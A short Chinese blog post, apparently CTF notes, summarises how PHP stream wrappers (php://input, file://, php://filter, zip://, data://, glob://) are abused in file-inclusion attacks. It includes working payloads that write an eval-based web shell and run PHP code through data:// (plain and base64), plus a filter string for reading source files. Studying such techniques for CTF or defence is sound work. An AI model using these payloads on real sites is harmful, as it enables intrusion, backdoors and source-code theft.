@highKer11月前

10/14
01:57
web

php伪协议小结

0x01php://input

利用条件:

allow_url_fopen :off/on

allow_url_include:on

php://input是个可以访问请求的原始数据的只读流,也就是说在POST请求的情况下,php://input可以获取到POST的数据。可以通过该伪协议进行代码执行甚至于写shell

使用方法:

POST<?php fputs(fopen(“heihei.php”,”w”),’<?php @eval($_POST["Highker"];?>’);?> 写shell

0x02【file:///】

利用条件:

allow_url_fopen :off/on

allow_url_include:off/on

file:/// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopenallow_url_include的影响

使用方法:

file:/// 文件的绝对路径和文件名

0x03php://filter

利用条件:

allow_url_fopen :off/on

allow_url_include:off/on

php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。可以用于读取源码

使用方法:
php://filter/read=convert.base64-encode/resource=upload.php

0x04【zip://、zlib://、bzip2://】

利用条件:

allow_url_fopen :off/on

allow_url_include:off/on

三种协议均为数据压缩过滤器,功能与利用方法类似,实际上就是对压缩包内文件的直接访问,更重要的是不需要指定后缀名。

使用方法:

zip://绝对路径加压缩文件名%23打开文件名

compress.zlib://绝对路径(相对路径亦可)加压缩文件名

0x05【data://】

利用条件:

allow_url_fopen :on

allow_url_include:on

使用方法:

data://text/plain,<?php @eval($_POST['Highker'])?>

data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydIaWdoa2VyJ10pPz4=

0x06【glob://】

利用条件:

allow_url_fopen :off/on

allow_url_include:off/on

使用方法:

glob://查找的文件

php伪协议小结